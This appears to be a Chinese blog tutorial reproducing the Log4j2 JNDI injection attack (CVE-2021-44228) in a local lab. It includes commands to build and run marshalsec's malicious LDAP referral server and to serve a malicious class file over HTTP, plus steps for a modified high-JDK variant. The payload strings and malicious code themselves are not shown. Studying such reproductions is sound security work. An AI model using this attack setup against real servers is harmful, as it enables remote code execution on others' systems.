2.15.0之前版漏洞相关文章
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理
2.15.0版漏洞相关文章
Log4j2中2.15.0版存在的漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)
2.16.0版漏洞相关文章
Log4j2中2.16.0版中DOS攻击(CVE-2021-45105)的漏洞原理、复现步骤和修复方法(2.17.0修复原理)
通过如下前面两篇文章,我们已经熟悉了Log4j2本次漏洞的基本原理。接下来我们就一起来基于该漏洞对服务器进行攻击。
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下基本方面进行讲解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案(2.15.0)的原理https://blog.csdn.net/hilaryfrank/article/details/121939902
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下基本方面进行讲解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案(2.15.0)的原理https://blog.csdn.net/hilaryfrank/article/details/121920264
通过上述原理分析可知,我们主要涉及到三个系统:被攻击服务、恶意Ldap服务和恶意Codebase服务。
这个服务比较简单,只需部署一个简单的web工程,然后要引入log4j2(2.15.0以下版本)打印日志。然后编写一个简单的Controller将接口传入的参数通过日志打印出来即可。
搭建Ldap服务有两个途径:自己使用ldapsdk的jar包实现一个ldap服务,或者使用现成的marshalsec实现。
这里我们选择使用现成的marshalsec实现。
首先我们从github上克隆该代码(https://github.com/mbechler/marshalsec)
然后再工程根目录下执行mvn clean package -DskipTests对进行编译打包。
完成之后执行如下指令,在9999端口上启动该ldap服务:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999
开启之后会看到如下日志。
这个服务比较简单,只需要在请求的时候,能够具体返回该请求对应的Class文件即可。
于是我们编写恶意代码Test.java,然后使用javac将其编译成Class文件。
然后我们在该目录执行python3 -m http.server 8888,在端口8888上基于该目录启动一个简单的http服务。当我们访问http://localhost:8888/Test.class的时候,该服务就会返回该目录下对应的Class文件。
现在我们开始执行恶意攻击。我们调用attack接口传入如下参数:
接着我们在Ldap的服务端可以看到如下日志,其表示其告诉客户端到Codebase去获取它需要的Class文件。
同时在Codebase的服务端可以看到如下日志。 标记了被攻击服务端来请求Test.class的记录和状态。
然后电脑就会弹出文件管理器。至此攻击完成。
通过攻击原理我们知道,高版本攻击我们不依赖Codebase服务。但是我们需要Ldap服务器返回ELProcessor相关的类。所以我们需要对marshalsec源码进行修改。然后重新编译打包再启动服务。
因为咱们攻击依赖的ELProcessor和BeanFactory存在Tomcat包中。所以我们需要在marshalsec工程中引入Tomcat依赖。
然后需要将LDAPRefServer类中的方法sendResult修改为如下内容:
然后我们通过mvn clean package -DskipTests对其进行重新编译打包。并通过java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999启动即可。(其实http://localhost:8888/#Test是Codebase地址我们没有使用,但是因为我们没有修改启动逻辑,所以仍然需要传递)
一切就绪之后,我们通过调用attack接口实现攻击了。
执行完成后,同样电脑就会弹出文件管理器。至此攻击完成。
如果你喜欢本文或觉得本文对你有所帮助,欢迎一键三连支持,非常感谢。
如果你对本文有任何疑问或者高见,欢迎添加公众号lifeofcoder共同交流探讨(添加公众号可以获得楼主最新博文推送以及”Java高级架构“上10G视频和图文资料哦)。
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理